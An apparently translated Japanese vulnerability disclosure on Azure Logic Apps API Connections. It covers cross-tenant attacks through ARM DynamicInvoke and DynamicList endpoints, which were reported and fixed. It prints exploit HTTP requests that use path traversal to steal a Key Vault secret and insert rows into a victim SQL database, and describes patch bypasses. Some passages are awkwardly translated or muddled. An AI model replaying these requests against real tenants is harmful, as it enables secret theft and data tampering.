Azure API 接続の重大な脆弱性：攻撃経路とリスク分析

Azure Logic Apps の一部であるAPI 接続は、極めて不安定なアーキテクチャを有しており、これを利用したクロス・テナント・コンプロマイズ（他社テナントへの不正アクセス）やキー漏洩が発生する可能性があります。過去の調査と今回の新たな発見により、以下の深刻な問題点が浮き彫りとなりました。

• 総額 20 万ドル相当の脆弱性を特定
• Blue Hat Asia 2026 で講演内容を公開（録画動画リンク追加予定）
• 世界中の任意の Azure サービスや外部接続サービスへの完全なアクセスが可能に

TL;DR：核心となるリスク

API 接続は、本来意図しない他テナントやバックエンドシステムを操作する機能が付与されています。具体的には以下のような被害が想定されます。

• キーバウツ（Key Vault からの秘密鍵・パスキーの抜き取り）
• Azure SQL データベースへの完全なアクセス
• 外部サービス（Jira, Salesforce など）

攻撃を防ぐための入力検証層は存在しますが、すべてのエッジケースを網羅することは困難であり、回避経路が存在します。

アーキテクチャの脆弱性

仕組み

Logic Apps が Azure API Management (APIM) を介してバックエンドにアクセスする際の流れは以下の通りです。

1. Logic Apps が共有 APIM インスタンスをクエリ。
2. APIM がコネクタ定義（Swagger/OpenAPI）を確認し、アクションの有効性を検証。
3. 鍵交換を行い、入力トークンをバックエンドで有効なトークンに置換。
4. APIM が新しいトークンを用いてバックエンドに呼び出しを実行。

このプロセスから推測される重大なリスク：

• APIM インスタンスを意図しない接続の操作に騙せる場合、犠牲者側で設定されたトークンを攻撃者に利用可能。
• バックエンドサービスのリストは本質的に無制限であり、Azure 内の多様なサービスが含まれる。
• アクセストークンのスコープ限定が稀に行われている：OAuth 接続では作成者のトークンが常時使用され、API キーについても最小権限化されていないケースが多い。

致命的な欠落：ARM REST API の直接呼び出し

Azure Resource Manager (ARM) を通じて APIM サービスに直接クエリを送るルートが存在します。

• DynamicInvoke

  エンドポイント

• /extensions/proxy/

  エンドポイント
• ARM はリソース管理者として、基本的にすべてのリソースに対して完全なアクセス権を持っている。

これにより、攻撃者は自身の接続以外を操作し、バックエンドサービスの完全な制御を得ることが可能になります。

初期攻撃の実行

すでに報告済みのクロス・テナント攻撃（キーバウツ）の手法を簡潔に示します。

攻撃コード：パス・トラバーサルによる秘密鍵盗難

自身の接続の

DynamicInvoke

POST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 147

{
    "request":{
        "method":"get",
        "path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/fd8d0f4f4069495991ccb4974f96a1ed/secrets/victimsecret/value"
    },
}

結果: HTTP 200 OK で秘密データが返却され、明らかなパス・トラバーサル脆弱性が確認されました。

結論: ARM から APIM へのリクエストは、操作対象に関わらずすべての接続に対して権限を持ちます。

さらに深い攻撃（初期パッチ回避）

脆弱性報告後一時的に修復されましたが、根本的なトークン制限ではなく「許可パスの制限」のみであったため、以下の経路で回避可能です。

未公開のエンドポイントの発見

ARM API の内部ロジックを解析（SSH や専用ホストでのコード抽出）した結果、以下のような非公開だがアクセス可能な関数が存在することが判明しました。

• DynamicInvoke

  （既知）

• DynamicList

• DynamicDelete

• DynamicWrite

これらは URI を変えるだけで呼び出せるため、修復が単純なブラックリスト化であった場合、すべてのエンドポイントで同様の脆弱性が存在しました。

SQL サーバーからのデータ書き込み攻撃例

DynamicList

POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc0a947e74af/resourceGroups/api-connection/providers/Microsoft.Web/connections/custom_validator/DynamicList?api-version=2018-07-01-preview&_=1765372176638 HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Length: 524
Content-Type: application/json

{
    "dynamicInvocationDefinition": {
        "operationID": "nine",
        "parameters": {
            "one": { "value": ".." },
            "two": { "value": ".." },
            "three": { "value": "sql" },
            "four": { "value": "88d28f5ff7b642cfb91df184938d074c" },
            "five": { "value": "v2" },
            "six": { "value": "datasets" },
            "seven": { "value": "victimservice.database.windows.net,VictimDatabase" },
            "eigth": { "value": "query" },
            "nine": { "value": "sql" },
            "query": {
                "value": { "query": "Insert INTO MySecrets VALUES ('NewEvilSecrets', 3)" }
            }
        },
        "ItemsPath": "ResultSets/Table1",
        "ItemValuePath": "secrets",
        "ItemTitlePath": "value"
    }
}

リスク: パス・トラバーサルにより、任意の SQL クエリを実行可能となります。Microsoft はこれらすべてのエンドポイントをブロックする修復を行いましたが、類似のエンドポイントが再発見された場合、再度脆弱化する可能性があります。

さらに深い攻撃（ロジック・アプリのバージョン差）

DynamicInvoke

コンシューマー版と標準版の違い

• 消費型 Logic Apps: シェアードホストを使用し、バージョン 1 の API 接続を作成（明示的な管理識別子なし）。
• 標準型 Logic Apps: 専用ホストを使用し、バージョン 2 の API 接続を作成（特定のロジック・アプリへの承認あり）。

消費型 Logic Apps は暗黙的にすべてのバージョン 1 接続にアクセス権を持ちますが、入力検証の欠落により制御されています。

攻撃手法：

host.api.RuntimeUrl

パラメータの悪用

GUI やコードビューを操作し、以下のように特定の URL を指定することで防御を回避できます。

• 対象:

  host.api.RuntimeUrl

  パラメータ
• 条件: ホスト名が

  azure-apihub.net

  以降である場合のみ有効。

攻撃の概要

1. コードビューで入力を編集し、

   host.connection

   にある接続とは異なる

   runtimeUrl

   を指定。
2. 認証ヘッダーを含めると、ランタイムは参照された接続ではなく、攻撃者が指定した URL を使用して呼び出しを行います。

効果: バージョン 1 の API 接続に対し、バージョン 2 用のリソースとして操作し、クロス・テナント攻撃を成功させます。

天上からの恵み（競合状態と修復の回避）

Microsoft よりも修复対応がなされ、ランタイム URL の厳密な検証が導入されました。しかし、以下の理由により再度脆弱化しました。

1. 正規化前の検証漏れ

• Microsoft は、URL パスを比較する前にURI を正規化する前に検証を行っていたため、パスが少し異なる場合でも攻撃が可能でした。
• ランタイム:

  A/B

  と判定
• APIM インスタンス:

  C/D

  として解釈

2. 修復の逆効果（競合状態）

• 修復処置により、元の

  RuntimeUrl

  パスに対する検証が完全に解除されるケースが発生。
• これにより、攻撃者が容易に同じ攻撃を再度実行できるようになりました。

報告と報奨金

今回の調査で浮き彫りになったのは、API 接続における重大な権限昇格脆弱性 5 つです。

• 修復状況: 提出後の合理的期間内に全脆弱性が修復済み。
• プロセス: MSRC（Microsoft Security Response Center）との協議中に若干の意見相違ありましたが、最終的には納得いく結論に達しました。
• 総括: API 接続アーキテクチャは重大なセキュリティリスクを内包しており、入力検証や URL 管理に対する見直しが急務です。